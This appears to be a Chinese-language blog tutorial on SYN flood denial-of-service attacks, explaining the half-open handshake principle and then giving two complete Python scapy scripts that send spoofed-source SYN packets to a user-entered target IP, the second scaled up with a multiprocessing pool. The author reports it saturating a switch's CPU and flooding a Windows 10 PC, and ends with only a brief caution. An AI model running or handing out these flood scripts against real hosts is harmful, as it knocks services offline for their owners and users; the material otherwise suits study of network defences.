SYN泛洪攻擊原理
攻擊者與服務器的某個端口建立TCP的第一次握手,而攻擊者的源IP是虛假的,則服務器一直都在等待着對方的第三次握手,一直占用着服務器的資源。
如果在同一時間內,攻擊者發送大量的這樣的數據包與服務器建立SYN的連接就會把服務器的所有資源都占滿了,從而服務器無法響應其它正常的數據包。
使用nmap對目標主機進行端口掃描
獲取目標主機開放的端口

腳本如下
# -*- coding: gbk -*- # 制作人:(Tim) from scapy.all import * # 前提是已經安裝好scapy,可以使用pip install scapy進行安裝
import random def syn_flood(dst): while True: src = str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) # 生成隨機的源IP sport = random.randint(40000,65535) dport = 23 # 這里以23端口為例 send = sr(IP(src=src,dst=dst)/TCP(flags="S",sport=sport,dport=dport),timeout=1) def main(): dst = input("please input your attack IP:") syn_flood(dst) if __name__=="__main__": main()
效果如下
目標主機日志信息如下:

在目標主機上可以看到有接收到大量的SYN數據包
進一步優化
單憑這簡單的腳本想造成DoS攻擊是不可能的。想要更快地建立更多的連接而你的設備性能又足夠地好可以使用多進程。
我這里使用的是進程池
附上進程池相關參數說明:
po = Pool(num) # num表示可以同時執行的進程數量,默認大小是CPU的核心數
multiprocessing.Pool常用函數解析:
apply_async(func[, args[, kwds]]) :使用非阻塞方式調用func(並行執行,堵塞方式必須等待上一個進程退出才能執行下一個進程),args為傳遞給func的參數列表,kwds為傳遞給func的關鍵字參數列表;
close():關閉Pool,使其不再接受新的任務;
terminate():不管任務是否完成,立即終止;
join():主進程阻塞,等待子進程的退出, 必須在close或terminate之后使用;
# -*- coding: gbk -*- # 制作人:tianwen.zhao(Tim) from scapy.all import * import random import multiprocessing def syn_flood(dst): src = str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) sport = random.randint(40000,65535) dport = 23 send = sr(IP(src=src,dst=dst)/TCP(flags="S",sport=sport,dport=dport),timeout=0.01) def Dos(): dst = input("please input your attack IP:") pool = multiprocessing.Pool(4) # 我電腦是4核 while True: try: pool.apply_async(syn_flood,(dst,)) except KeyboardInterrupt: pool.terminate() break def main(): Dos() if __name__=="__main__": main()
效果:
正常情況:
運行腳本后

當然了,我這里是一台二層性能較弱的交換機,運行腳本后交換機的CPU瞬間滿了,連命令都敲不動了。可以看到占用CPU最多的進程是 IP Input,說明交換機接收太多的數據包處理不過來(有點類似於廣播風暴),如果你使用show interface的話可以看到接口短時間內接收到大量的數據,這里我當時忘記截圖了。。
同時我也使用了win10進行測試,可以看到PC在短時間內瞬間建立了大量的連接
PS:本次內容僅供參考,請慎用。